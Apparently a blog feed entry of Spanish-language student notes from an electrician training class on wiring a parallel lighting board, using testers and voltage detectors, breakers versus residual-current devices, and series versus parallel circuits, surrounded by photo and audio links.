<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhramrdQy3a4RslDJVsH2MbfOp0wqMpsB-5Mx7wqH97KrGZB5OmJt9Dk7KF8IUuyixsVD3MoVWGX8QcRIIwMqppo8oRLfvXTOXWb0Sy1BGdn16tH2qpNMVNnzLARu3reAG-faU298RSsz4goqVSIqUXBQZtgPuWCdxgLAKYFjGzGn-yaVy_Gbm3Qz8FiF8/s4160/IMG_20250507_194012002.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjo98l1GBiU5MuBwGtAc3kBkFTa2HYP9X-hajlVer0XMpCMie0M2cENYlkPw8SuNqsNMEG0Wnvm7nWcPc_6-eIxclC6cf2BdngE_r_MMsVB_yayBbL102UfM20DH6oxzOf9s9eo2-d0lWKUNH49CZod3MVc2dl7nkCuv8XPDHXR7Z6nLmN6vjlPZ23C9Jk/s4160/IMG_20250507_194014305.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhF7SwotffkEZDjRUoMm-SXw4uozgIS2Nxyg-lpn8iyyIVgSeZgZJ4oHq4voc21NoSOQtPMAVbzWvx_Du6gfr_MVstoVMtORNE2yFRAjkNFZf0LFHwv5ID_fwgW5BGwEqBLUitK9QJ3mfiauUi6klEJIjGIsw2jjL1gd0oN3gleumsx-QK29O926pbnWtA/s4160/IMG_20250507_194018996.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgnUqBR49FM7jCcWk6_FDXHbAVP6G_bKFi5t-9OqLOy7-ytoNZ3VP1hFfRqxx6dM4lEJR6GB7KZEA5XMarCnDDjDw8CY2PsiZ3DVfzckSx0kQomfRoG68TJsqEPBgdg9yIYBGCZl792n8d86zaD3FH6YQNWtBws4km8a288tXePI0KRMuucTK68_Qss_6I/s4160/IMG_20250507_194021705.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj4aYzdKlnj9WfYZatxvegYas_Tu986WctUgr2MV-obPci8y1VW6e8UOkU-ARQ1sZPBONSWjyJV8NbJgLSxOxgICpYzbMiy6b_iGkn5lgQfboVWhKwRcDyORqIzmlwCcQnRysH2a73WpQb4WI7FnK3cpuhXXvkKJkf4uxiz8EVnEmn-Zs1t-MFArNiCXQ0/s4160/IMG_20250507_194153596.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEihGlvnOlfsPV07-QTwZEQ1KtGTrDKC8DHzZT1XoxlA9xwj6Fxmu-12HpxsLbRSyL-nnmeyR4lQtsRUmjvwG7O5N17KX7G7x0tIIsYfmrHhDYqoYG_mtMJtXTxNP6_NlCKV4aBBJzL2SW6c6SgaOrfVeYw7gpX0y0O3Ha7iNw5Q68v4iFR4zvuui6unl9w/s4160/IMG_20250507_194203221.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjHpqfPAz9ORrMGFxxbw3AVnVnpbym3yP-DceV8ZGUkt-oTYTa27CJHdTEZ4cSilq3x5JkVeN9iOwQG_0sBSWjGG4sMhYM8pLnpt1-h0fMW3M2T2zFemscOJ_xXZTQVoBPsSyF5e_JaQkeOrcVU61pE2VnBOYu-fL5r1UVtIsEL8We9ugMo-AEmcjzpvq8/s4160/IMG_20250507_194359812_BURST000_COVER_TOP.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhoWVc4NKs91NUoe5F-Y2eWPK-KgB-Aq8BLwtwhZ9LVs7pDxBxzhqw-4jcx8_nCCFwVVN9qkRowjDziq1sexeuXDmdehWWr6rdEBwU9yq_Xjotw36U0pfA9EY9iLVUssyb6YkJmtyBXKa75JGYtLHL5hLm0N3N6b-vJySL-_DEx_qUHPrXQrD7Rn3gVRaQ/s4160/IMG_20250507_194359812_BURST001.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjmHyEDpG74ksxlTNDNyM0yP9E4hWdoemrC3_WCWefSoYVoMKN9U4ZAX8io7mm7O4XLQVLm9OgMwsP4CTzjcj5NqLMZj1TKtvjJJt6zqJsubalGL1_ISC79XJ18iYG_QTqzihJ6NVVxWMqcidP-Rb9sVvhxyX-Tr89mtdAgv2lx4K3Eh7Tvmr4mCJGQA5o/s4160/IMG_20250507_194401975.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiTcn3CcFUyAq1QZIEfyK0pi3L0h8tdX3tY41ogQD_YfdCy41rRE_5o7AJHXwJQRAiz2mJurEmk8cpfeuGj4yRdkfc7aNrn9ntaRo9bXPP0ZVlNwwVBJUzCTOtiWO6WKkrWrEnOcUMCqk7JcGMqf1S14VJObsBBoK6cfjKXU1KZWq3DJl7GCn8bOsGq8N4/s4160/IMG_20250507_194452171_BURST000_COVER_TOP.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj7K6mHFB7oq57JdXFJg2vgXC75B0IE3ewneEAQyuX2uq_oHk0wiJOHl5s7F5dz-k9c4Q834R5t07Jq-mIuZ4cqENs1opBmiZcyDBSt8gdI80a5Uchwjg38MTHTzgM0ITFX-QcLl433-g9ZUkXH-HOoEKyHePIfMUILCqEX61tRh0nSMLsTH1ltjRhkCwA/s4160/IMG_20250507_194452171_BURST001.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQgjhxcQnVUOWFSgjscOcI3vJDYwG9JydHbCu7lgqGQSE8vim5yEVZ1hSUMJhSWx7Ny3ZZQWEtcAK3C2v__LL7T5cbwm5iL7SnoBnOqXGAzhXeEX0vM18054gB2PEP8suAbYLw-ddu45QtGxzFcOAM-0OPf-iHoRITnBQhjvWEd2Qj6k3_IvMY_L2LvBg/s4160/IMG_20250507_194502178_HDR.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgDZpIhWvxUINJJx4oTcb6NStMLVjGjom72tN6xP4OFMnhAN1v4RMsY8ddhPd58NS1EpwV67yFe_0zNJWAQx9g-2Ton3DandRNQd4wnVjlKAMLbnZGs3BpPQ3-5B7Cu0HphhOaCX67GJckfQ83gHPNDwdQTjO9WjR2wReRluSor8vAKENimazpz1ImVOig/s4160/IMG_20250507_194504289.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjbU5C5q88P72HtU43FLjob1Sq4vtgvCxQe5ROD9GdqMgSNyMi_GNcNC8VqQrkN51YM9CMZ2YiBECPZuD3NUJrRc1EQUftMF1QB_HmkfL1PV1JLktn2289bfcbfi1uK0geL6CHYuhgCv4ILTYXlW9ZGqqisLJ9gFm4PLkejvZ-zUmiDYCVqaYhbWhQIACg/s4160/IMG_20250507_194558366_HDR.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgmLkN7NEZyQ2qI1vVbS1B7uaSCkl31e_f9sk6CT-9nmZmpOOvNIMeBORHxo7spNBob4br-lm8pmSb9qlku9KvWxkaP5mMZX1TSHjig5fxwae9LozdjWLA8zCl-pwWFWJVFctCEXniJqoYdT1kYw4oeFqvhCJ_um8hN9Eogg9gfClAswy9MmVG8Y_Yme4A/s4160/IMG_20250507_194606790_HDR.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhP2bZp0Xux0telS_VN3UIEytOntMr__2GxF_govoM_WzyZ_-fKhjEk2UTEX1GIUPXdjDe2HQq5MPdFdtDAmaOuvtTAjGnQSth1NIjciQTng3gJmeEn27QABQecOxFEL2S9kI2CX1wgJLXcCwAFcpmpCxeHhBPrGgsohD-2v3UvW9YXVRSt9If3XDBZ-yc/s4160/IMG_20250507_194625851.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhW2YdX0fC3puiYkGRX2f0BbtC0ysqXZhRNZrLRt33E1f6X1_w2c9u9l__fcvRwsHnPpmiPJsEyBEpZyulw3PjQdnTvbFYK1hq54OjbI0bzCinBRgRxnmeY6rE4ocIfeCJWI21hPSFRg0Ozt-Bra840QUv88Q3hDnhLk8Ck7e3RbDjuywAmSigmikIbhZ8/s4160/IMG_20250507_194726399.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiAUk5AWnKfzUbQOzyIJEQS3fCeiYRBMUiATK6Q03uKqSMrNvu0iM75CPFxW4caq42sbIQUuBWvgOvtkgWUJdMxDvWGtYDk8LMRVuFaca2PBQhmHpbtDXm_QrjD4ELctEeLE_hdfsik_S-3JkwQD6kcgeII9a6Bzoy58vPNYMbIGAskXmZaZwcTUQen5BQ/s4160/IMG_20250507_195038197_HDR.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQTrM2VRpEh0Bot4H64Irq9nrn4K-2LY4M0SyPrAHAALMlWI_wjrS5o7Z_PELvgIX7QnMlknitwrHgOysL_VxoaulBiJDskZ9pHdegjaJZcVR1lXDVGOu4vPwQftcajLR2SETq_RTY-7hRcl5VhaU2svZUmKqho3qdCuZ8ztVJ-Ggu_VBqbXX2Z8RjWhQ/s4160/IMG_20250507_195341039.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiiMClfDwX0z5jQgtfLNmc8mmiwAhLrBxRumL_qAKGHC977zm1cW9l2xSN2QJIQj-JdlS-WIdcqbzmEwz8FndrQgC2VOF5nIw_6RacQakM6ztKofBHvxGc3LhfyIHVKop1R2hzwfkmwNmwV6wm3qcYAPh7iekh1MbRlm3fjAVFVxOhYJxF4ek_U34-vHRs/s4160/IMG_20250507_195803072.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjiYckAwJ3jG7pRrvmO7Ug-dN9PqqiLiCf1deYkVX0LGY_Zs_hvXhoHeNiHvZDFXEUs7o3Mp_R4GMuy5O0O8vCrULhosttk59MDgIprAh5LgsVIQNuTYF03aPWZYfsDg48DSVQLoWRU3JilSo_JtGGfNJ6fOQ4IPLVt4OTK11TxCjOIlpqNpRq1eCGPG9Q/s4160/IMG_20250507_195804563.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhI6bTa6EFLooyUcC9ltlfiR8fAJQ-ro6TNq_FHwbwe4hXSA6YNFUztuQjs24ya9EV5fc82IBUd0W4fP8I2XH4l86_csUhVTgTjky16BcpEo7stPHNTRONYmCjhnAVxR7d_rNERr5OP05LoRqzQC52LW3f2mN8GHEb-eqrqhv_PtxvpnJGBIy5VJpAArWg/s4160/IMG_20250507_195808154.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgC3A3_bWYakq6SYEf9Gzj_E49MJqdoUQDVOZ-X_xeQEmUiY0uBjwl9V-LLhCj-WkOGG05njCVFLQrn6cRxwzW6I1r6W52O4DG6EstG-3691InK8Rrf_5BDcUBL6Ef9_SnMmQBnWD8kmfyBEzIMhW2H2r9VfJ25fCAluwl5h8soQWIBgxcrJpKoT3bHBzk/s4160/IMG_20250507_195937045.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjjM_pnTV1yWWfrk9pi7Op7UzAZOOjBUBk_fmLBr875DZ3hoe0nI9S-iUIqHnhrSvmuIvPbOfR-8cB-ulVa8OKNv6docM9Dq2y5qGE6oq8zc-lYJI3Y6nEoRxmyMus7LkH1NxKuNuBbHfTx5pCsUXG-2JUpSVdw1TxcHDA3ARBGtotw1T98NOjeYDrCQH4/s4160/IMG_20250507_195951036_HDR.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiT59jtE1PzIs7JbFC4Pvobjt_qo-pOaIjUvgW3HbecMkxa2RP4P1c-bhYbnV-tWIF4VONkR_YAJAQqquSfxqFM8SlAmc5SwChn6pGbK22a4OC3bjKwOiqP3iU3Mr2xJOuBt25WRVD3S6D6hUMJ4gLN9XQ40qYl4-19kWxJ_04qAg8rm4UG7ezJiKx_AYA/s4160/IMG_20250507_195952175.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhhW7vtxVV2eE9VKWfK7KKnkQAC_pU-Xn7tnkEa5EscNZsqW3agh7xGvsLux8Q5WhfZCjZZppxZlyTpXy7vhkMJ727f0a7KyWCdmM78vnf7I80wG4YQvNTQwJktdBxKbl1bRmi_jDhtqZxlcJ7R9oGcms6DSkljg9g-ikun2Gn2OBH5F9OlsDqzhqdyUos/s4160/IMG_20250507_195959323.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhi9pvhDUHqLU1_kg7oOPVKT2tdGZV32S-j07zw4vn5uIkzCqHhNQkBBhq83glNXR6yV4PMtdooHcH3uiPvOufVMDMuRFaFgCW5kS3QXZPTRMeDLsldK5kgS3fJrg_4klrJm4jALFXevIxvjhSbEFlxOa9V-ic4AuZGBIoAjoF5Xgf7ScdSYLTw9ZwpdrU/s4160/IMG_20250507_200001149.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjZsCogXmHO2FZOCMeO6c9JNc-JphHhqiEJaM7ZLn0xctkQeWWlKz1I-dh0Ih4ZpWPgCr3cMqMwW5mrMMDt3YIaUBHYfoNpSFP6Z_2fGzP9VPbDtUbmIhZUl90e51UIgzLz-xIQB0q1q206OESVmQv-Az6ZCisWsxZfe4FhzXR_4dpiHCCjLYgSiGWqBMg/s4160/IMG_20250507_200229595.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhUe6hx8CmKsFcHhjVwl-Vm_1K8KOppGLfpEOitpF13b1p880Ur78GvRvzWi9qjxLxRpmIup1yDcULfRcL3wUR9KDWoIYljbZbjzQZQGB-mMBOE3S4h2PybQxRKtvEu8BV3VEGHrmESXUMJ2NnB_p7J9Hgtib1K3iYOaRX9R3uWVrNUqalBKjhQ-bnrhvo/s4160/IMG_20250507_200346829.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhOeZJnE9SGQ-ri4qJCij_ja01BR0-qTmKnxBJ86MEPLkyuQgh7i-la9VrX0shqCI3yMo7SCHLqR-LZhByB35VVZa_X06iZxCEzuCgPvpSJI4sSNRSAW9v23XZjFZOWqmEOPFkoEpVfQDNQ7F2LHZBrKG_uzhVk-pkrHk28dAoSrS-cJVk1dBh0kxQwi9M/s4160/IMG_20250507_200349380.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgXQEtwkYOSiB4XWSZTmWe6G4OLG7ViT4PFwRTGEEKWV8esKG5WE1RMkekY7bctiCFAMCrJyFXZO66WCdrZyrHtkOnfQZHmXwJEMi8FTmgXRbL75Ys2jdnbrOWDzmd3Bv4_lYHnW2XZxO6gR6k7a1zajKCH5ckQJ0rbw1Jy8kbr3Rx8N4LSA3djOsZJ9b8/s4160/IMG_20250507_200350405.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj3XN_NK3oBUmNESNAlgaz-0eRfbJ5VP5llmJKeFvMuj6Dpi5RpqLjRKkHmoe4hcH1whkDpAnZEvCOJ2Y_73uDhsK3o2tNGyEGWp_jf9jiT7t45RCsg5tNXog-sDzXCaMyUaLiZy2aN6Fw9hq-PybanRLWoXxRWwN54iYaJfPMg7_4eCjlSD-zBFtv6D8w/s4160/IMG_20250507_201619651.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjf37hJJZP3x8GSjhaINjsrPIUliz2TBktPNfgWpkSxBsNiedUfnjsYZCXdKIkIMp8NhFdTVLQxYAe4Kt6Rksoczvy4kD5FKV1476hldRKoVhxZrg7DmnzyPN9TvTnN8OW4QVCFaJ8ISWOj5FF-dMvvSVSA3IHkRla8pP5H1qm_anRG3l05dUJ9dbpw7b8/s4160/IMG_20250507_201636796_HDR.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhKzLtKf8Pa66lp1B8Z_39NayIdA5Hh9OMyC36lZcjRdB0Dju4q_8t2rz_-7IkbZWUbs4P-KadDBhb8WD_4wyOgC_Rc8FLMGyH3uTqlaD5_pMac0Fv5TT0V7rA5Ksknf8WL28nbT3MkfObdeFFYyB6tgrXo_m_JFfQAKUbSKuim1Lk4ReVau3VIj5QgP-o/s4160/IMG_20250507_201638127.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg_1Jx_U9ZWdH4feIxFXNIBRWuckmlHhUCnr2eGu6nCfbSYke8zt-oorhlEf85XbWIRLrqzLbDyPY5C2cIaT5oc9n1MvEem0NSGGUoLf9lmHZsILuMGpvMHXKgwG7IJAroRa7kFYVe8Gw-lqph_iE4r9nArhYhn2wyDtGzZpahTO0cEDU3QSJHJgghNEjc/s4160/IMG_20250507_201855211.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiMkRdtDHhNr_VT4DL0Y3ZjdzuyimbZir7xioEgtogVOKabl1pikiliITqeOBbe2FxvAq_gakM74JkinxLELOSdKBBOigJ6c8SdmPs1D1bHU-1HzbkheWhbApTCEu8ayZzSySD9aOTbhDcAPiNgds5L7-vhaliK87k-nmql5HcvO9-ly795GYGvqbr53gQ/s4160/IMG_20250507_201900387.jpg" alt=""></p>
-
Electricidad / Clase 21: Clase práctica. Armarmos tablero paralelo. Conclusiones serie vs paralelo. Saul Kuperman el Lunes va a haber un grupo de gente de la obra social nuestra que es la UOCRA y salud pública a vacunar grande vacunación obviamente para adultos Ya partimos de esquemas eléctricos yo siempre hago un **esquema en plata como ubicar como si tuviéramos un plano en la mano** entonces a partir de ahí vamos a ver ahí ya trabajan por separado. Hay que dejar un bucle de 15 cm en la caja octogonal Los empalmes no pueden quedar dentro del caño Los hermanos Chuck Norris(Selva) desarmaron el portalámparas y no había necesidad de hacer eso podían haber cortado el empalme (Minuto 43) (Hicieron eso porque pensaron que quedaba corto) Siempre el portalámparas independiente Lo 1ero que tengo que usar es el buscapolo(para identificar la polaridad de tu circuito), 2do lámpara de prueba(para identificar si llega fase y neutro y 220 voltios), 3ero probador de tensión(saber el voltaje aproximado que llega), 4to tester o multímetro o multitester(saber voltaje exacto y comprobar que el circuito no tenga continuidad con la LLAVE APAGADA si tiene continuidad es cortocircuito). Acá tenemos 2 cables. Los 2 son uno es vivo el otro es el retorno. De acá entra el vivo. El vivo va a tu interruptor. El vivo es el de la derecha. A cualquier lado le podes poner el vivo pero algunos tienen una marquita. Fijate ese trae 2 borners no más, no trae 3. Trae 1 acá y el otro acá, el 3ero viene vacío, el 3ero es para llave combinada. Retorno va a todas las lámparas. En el retorno tenes los empalmes: empalme 1, empalme 2 y empalme 3. El retorno le hizo con el mismo color porque es vivo. Adrian Torres: Viene tu principal y va a tu portalámparas Ahora sé que... Los hermanos cardozo. Estoy aprendiendo ya. Chamamecero de Ley. Profesor: Sabe algo por lo menos? Grandes tiempos en donde estaba Power Profesor: Power? El boliche bailable? Ah eso si para eso si. Importante que uno tome la posta yo quiero ver como trabaja cada uno. Después vamos a ir individual para ver como trabajan. Tester estaba puesto en corriente (amper) y había que seleccionar la V de voltaje (alterna ~) y hay que poner el rango más grande de lo que aprox. vas a medir si es 220voltios hay que seleccionar 750 voltios. A es de amper. V voltios. No debe dar continuidad con la tecla apagada porque es cortocircuito (está unido fase y neutro y no debería estar) Para que no haya cortocircuito tiene que haber un receptor de por medio para que no haya corto. El Disyuntor salta por fuga. La Térmica salta por corto y por sobrecalentamiento La térmica se llama interruptor termomagnético también termomagnético porque corta por calor y sobrecalentamiento Si tenes una térmica más grande y el cable es fino el cable se va a quemar y la térmica no va a proteger. La térmica es proporcional a la sección de su cable. cable de 1,5mm² va una térmica de 10am. La escala de continuidad se mide donde está el puntito, el volumen (el pitido): cuando está apagado tiene que sonar. Ahora controlen que está seguro conectar acá. Fíjense como lo van a probar (hay que identificar cual bornera es el vivo y cuál el neutro). Si vos tenes fase solo no va a encender tu foco por ahí no podes tener neutro, si tenes fase solo vas a meter la mano y te va a patear. Alejandro: Yo te aflojo y te saco este cable (neutro) yo coloco acá no va a encender el foco pero metes el dedo y te va a meter una patada porque tu vivo sigue estando en tu circuito porque tu vivo está en tu circuito pero solo con el VIVO no se enciende el foco. Buscapoloco de inducción: sabes si tenes fase en tu circuito o cerca de tu circuito (detecta el campo electromagnético que genera la electricidad por eso no es necesario pelarlo). Mientras más rápido chilla más corriente pasa por tu circuito, mientras menos pasa puede chillar un poco más lento. Si suena ojo con meter la mano. Buscapolo: Se puede usar en una instalación domiciliaria. No se puede usar cerca de un tablero de un transformador porque el campo electromagnético que genera un transformador es muy grande y en un tablero también porque tienen varias fases en distintos lados y dejan loco esto. Solo se usa en una instalación chica en una casa. Adrián Torres: Estaba tocando una instalación conectada (casi se queda electrocutado). Si cortaste el disyuntor ya tiene que cortar todo. La falla en la termomagnética siempre va a impedir el paso de corriente, nunca una termomagnética falla dejando pasar corriente. Ninguna térmica falle manteniendo el paso de tensión siempre se interrumpe porque actúa por gravedad. Adrián Torres: Fase al interruptor. El retorno para cortar la energía sale a los portalámparas y el neutro va a los 3 portalámparas. Al usar la pinza amperométrica solo hay que agarrar uno de los cables: fase o neutro si tomás los dos te dará 0. Si vos agarrás y te da un valor ínfimo esa es la pérdida o que está en cortocircuito que está consumiendo, en algún lado se está yendo eso. Vamos a suponer que vos quieras ampliar tu instalación e hiciste pasar el cable, depende de tu sección de amperage que vos tengas va a ser difícil pasar, hasta la cinta. Entonces yo te recomiendo: corto la tierra de ahí, ahí uno y paso el cable pero paso ya otra tierra en este caso verde-amarillo y ese uso como pasa cables. Los cables que tienen sobrecarga están más duros, los cables nuevos sin uso tienen ELASTICIDAD. ### Sebastián habla sobre arreglar Instalación Eléctrica de su CASA. Los electricistas le hicieron mal la instalación pusieron octogonales en todos lados y se ahorraron interruptor diferencial y puerta del tablero¿? Vamos a suponer que vos quieras ampliar tu instalación e hiciste pasar el cable, depende de tu sección de amperage que vos tengas va a ser difícil pasar, hasta la cinta. Entonces yo te recomiendo: corto la tierra de ahí, ahí uno y paso el cable pero paso ya otra tierra en este caso verde-amarillo y ese uso como pasa cables. El tema es así: si los cables no están si tienen elasticidad es porque ya son descargados si realmente vos no sentís nada. Este es un cable que no tiene uso por eso tiene elasticidad. Se hace más rígido si tiene sobrecarga. Vos podes cambiar todo lo que quieras todo cambio es efectivo así que vos tenes que mirando como podes solucionar. Sebastián: No vas a comprar 100 metros de cable. Profesor: Claro. Yo prefiero a veces que compre una térmica no más. ###### Sebastián: En mi casa tenemos pilar, y se hace la conexión hacia adelante, se usó el pilar o sea sé que está mal, se usó el pilar en el tablero principal para alimentar esa división de la casa. Tengo que un tablero en el medio para esa piesita (un tablero seccional), o traer los de adelante, eso quiero hacer. Porque ese cable tenía 1 originalmente ahora tiene 3: 1 para el aire, y 1 para la cocina pero esas dos térmicas quiero llevar en el seccional. Profesor: Claro. Te hago la alimentación principal y de acá volves ahí y ahí, ahí. Sebastián Melgarejo: Claro, que en el pilar solamente haya 1 térmica. Profesor: Sí sí. Sebastián Melgarejo: Y poner disyuntor, porque en esa época no se ponía disyuntor. En mi casa no tenemos diferencial. ##### Profesor: Es por costo. Ponele que tienen una manzana de 20/30 casas ellos se ahorran 1 interruptor diferencial Sebastián Melgarejo: En mi caso se ahorraron 1 puerta porque esa no tenía puerta y se ahorraron el interruptor diferencial. Profesor: Fijate casa sin disyuntores un valor que tiene ahora el más barato ponele 40(mil). ##### Sebastián Melgarejo: Lo que hizo el IPRODRA un barrio de 38 son distintos barrios, distintas casas y en todos falta la puesta y disyuntor y acá el revoque¿? (Hora 01:41:20) Profesor: Voy a tener que hacer otro tablero de prueba, voy a hacerlo. ##### Sebastián Melgarejo: Primero la térmica principal y al lado del disyuntor. ### Profesor: Ahora si tu distancia que está acá es pequeña ponele de 2/3 metros 4 como máximo para que vas a poner otro interruptor principal de cabecera? Directamente pone el disyuntor. Sebastián Melgarejo: Claro, como por ejemplo en la construcción que yo le mostré empezaron a trabajar de este lado para acá o sea no hicimos de acá para allá, como ese. Profesor: Yo trabajo siempre... Sebastián Melgarejo: Sí y tiene sentido. ¿? Ruido Hora 01:43 Profesor: Pero fíjense hay lugares cuando voy a un tablero a veces aparece por abajo y tu llave principal de corte está abajo, hay un tipo de conductor subterráneo entonces pone acá y ese llave de corte general hay veces que es así. Profesor: El de la entrada. El principal es la suma de todos las corrientes de cada cosa en paralelo. 300/220 = 1,36 amper el teórico, y cuánto da en la vida real. Profesor: El de la entrada. El principal es la suma de todos las corrientes de cada cosa en paralelo. 300/220 = 1,36 amper el teórico, y cuánto da en la vida real. Leonardo: 1,25 amper aprox. Yo: Porque es menos de 220. Alejandro: Al conectarla en paralelo ustedes ven lo que consume los 3 focos. Profesor: Acá y acá tienen que ser igual la suma de todo esto tiene que ser igual a esta tiene que dar 1,25 amper o sea hago la suma. Ayudante: Si yo mido el amperage 1 por 1 yo estoy teniendo la potencia de cada foco por individual si yo tomo en la entrada tomo la sumatoria de los 3 en consumo (que se mide en amperes) Sebastián Melgarejo: No no, la térmica es el interruptor termomagnético y disyuntor es el interruptor diferencial. Diferencial es para humanos y ... En paralelo. 1. Tensión en paralelo: es constante. Explicación: en todo su recorrido porque estoy tomando la tensión ahí, **en todo su recorrido la tensión es constante**, mido entre 2 extremos acuérdense fase y neutro va al revés fase y neutro cualquiera que mida me va a indicar la tensión esa tensión es constante en todo su recorrido. 2. Corriente: Variable. Sebastián Melgarejo: Se divide entre los 3 artefactos. Profesor: Vamos a hacer más sencillo corriente... Porque yo puedo tener acá en este caso distintas potencias: corriente variable. 3. Cuando saco un foco qué pasa? En paralelo sigue funcionando. ##### En serie. 1. Tensión: Variable. Explicación: Porque varía en cada extremo. La sumatoria de esta acá, es la sumatoria de esta. Acá sería total o va a ser igual a: `V1 V2 y V3`. Esto es tensión o sea la tensión de los extremos acá cuando ustedes midan allá, será igual a la sumatoria de cada esto. Estamos? Entonces acá la tensión es variable. 2. Corriente: Constante. 3. Cuando saco un foco qué pasa? En serie se corta el circuito.
https://imlauera.github.io/electricidad21/
Tue, 06 May 2025 03:49:10 -0300
https://imlauera.github.io/electricidad21/
<h6 id="audio-en-vocaroo">Audio en Vocaroo:</h6>
<p><a href="https://vocaroo.com/1268wHQBLwls">https://vocaroo.com/1268wHQBLwls</a></p>
<h6 id="audio-en-archive">Audio en Archive:</h6>
<p><a href="https://archive.org/details/record-109">https://archive.org/details/record-109</a></p>
<h6 id="audio-en-youtube">Audio en YouTube:</h6>
<p><a href="https://www.youtube.com/embed/RjSsyycAPkk">https://www.youtube.com/embed/RjSsyycAPkk</a></p>
<p><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgTLymS0kvRzaY5Ud4hPodpOGB_NHrnKCgZonrxtse2aRvShLgNoOk99RhidIk87yziN36gOUSOm8bQ3w1s3itKD-2xTJI-nqcG8QlLsxuy_mUoJEmjdJ9p8ULdvlXG-8ZcGcxA3QWZTN30P5fk81FIFEmgDMo29jdV55BaDbZ0cbLM99cTHdYV5RNH6gk/s4160/IMG_20250505_201932117.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh825kacIRprxtquys9M0_TzZBIXeV71_bpS9FYaXbB9FmQ3ejflMRp4-OJDTW4ilq_ZbCPiEfPZwmKjDaXdVs8kMR4rdADw5C_BQRGexiJXSHDrK6kNzzJUqpaasa-EWPgr17YKHFYwjv4ZUOurbu64QqdYPpu6UlboXVvnmVS_Zso5ZnSqQ9h0v5TOg8/s4160/IMG_20250505_201931093.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhK_T6tEXsOoCYG4A9YGaxj9umPtd8o0_IHLPUqINluJF8X9z2se-_4bGuJgnDDAiTyJ3SdS6K8X4wsCQVhKgKqbqwtR8dtnsq2X6YRXaynvk4SPc9XMH6T0R_ajUqxhK57CDfDmZSpjbmS9_WKvnSNfYnXe6UsOAT3gqX4MOOWSPT0kSOeCOR8yVYOpTE/s4160/IMG_20250505_201928063_BURST001.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj1uC4o-8gOe0Nwbc0Fze1EAk4La_PIK8q-YZpZcbymhXrD6xRLwhVl5hrLOY4LmKeZr-OaOhMnqOr9cqfQBZaYNapNbZJr2ziOm4B4bXu2Uyx5P11CwuGuSzcoQRyYH19_iEoRNlWMKHhsgD9ZDeDPvZZmZpSKdFKtxrYeukKtni1y9sm3YFXbDKdtEZs/s4160/IMG_20250505_201928063_BURST000_COVER_TOP.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiXITX13rc5JoRpTuyTExNJ1ZkwcfiovoIbnp4BH4mSU0HfE-TbfBhMJ2xoaIKt4TtwuY_hyphenhyphenbYU_jzIMAWmHGzJFbMrbUFicEXjhBcpAIf_n0wr89n7T5ggmfAnRuDeMf3_kvAi4uO_aeHKWUvCK3E7lAc395f3wmvhEbB3hO6PI8e67d3qFcffzKcuk9Q/s4160/IMG_20250505_195046098.jpg" alt="">
